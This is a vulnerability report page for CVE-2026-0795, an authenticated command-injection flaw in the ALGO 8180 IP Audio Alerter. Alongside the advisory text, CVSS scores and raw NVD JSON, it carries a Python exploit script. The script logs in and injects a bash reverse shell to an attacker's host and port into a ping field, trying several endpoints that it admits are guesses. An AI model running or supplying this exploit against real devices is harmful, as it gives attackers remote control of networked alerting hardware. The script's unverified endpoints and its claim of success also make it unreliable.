Security Vulnerability Report
中文
CVE-2026-0795 CVSS 8.8 HIGH

CVE-2026-0795

Published: 2026-01-23 04:16:07
Last Modified: 2026-02-18 18:51:12

Description

ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability. The specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28321.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter < 固件最新版本
ALGO 8180 固件版本 ZDI-CAN-28321受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0795 PoC - ALGO 8180 IP Audio Alerter Command Injection RCE Note: This is for educational and authorized testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_0795(target_ip, username, password, lhost, lport): """ Exploit command injection vulnerability in ALGO 8180 IP Audio Alerter Args: target_ip: Target device IP address username: Valid username for authentication password: Valid password for authentication lhost: Attacker listening IP for reverse shell lport: Attacker listening port for reverse shell """ base_url = f"https://{target_ip}" # HTTPS typically used # Step 1: Authenticate to obtain session login_url = f"{base_url}/api/login" credentials = { "username": username, "password": password } try: session = requests.Session() login_response = session.post(login_url, json=credentials, verify=False, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed with status code: {login_response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Identify vulnerable endpoint (example - actual endpoint may vary) # Common endpoints in ALGO devices: /api/diagnostic/ping, /admin/diagnostics vulnerable_endpoints = [ "/api/diagnostic/ping", "/api/network/ping", "/admin/diagnostics/ping" ] # Step 3: Inject malicious command via ping functionality # Generate reverse shell payload reverse_shell_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" encoded_payload = reverse_shell_cmd.replace(" ", "${IFS}") for endpoint in vulnerable_endpoints: exploit_data = { "target": f"8.8.8.8;{encoded_payload}", "count": "1" } exploit_response = session.post( f"{base_url}{endpoint}", json=exploit_data, verify=False, timeout=10 ) if exploit_response.status_code == 200: print(f"[+] Exploit sent to {endpoint}") print(f"[+] Payload executed - check listener on {lhost}:{lport}") return True print("[-] No vulnerable endpoint found or exploit failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python3 cve-2026-0795.py <target_ip> <username> <password> <lhost> <lport>") print("Example: python3 cve-2026-0795.py 192.168.1.100 admin password 192.168.1.50 4444") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] print(f"[*] Targeting ALGO 8180 IP Audio Alerter: {target}") print(f"[*] Using credentials: {user}/{pwd}") exploit_cve_2026_0795(target, user, pwd, lhost, lport)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0795", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:07.387", "lastModified": "2026-02-18T18:51:11.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28321."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en la interfaz de usuario web de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la interfaz de usuario basada en web. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28321."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-017/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}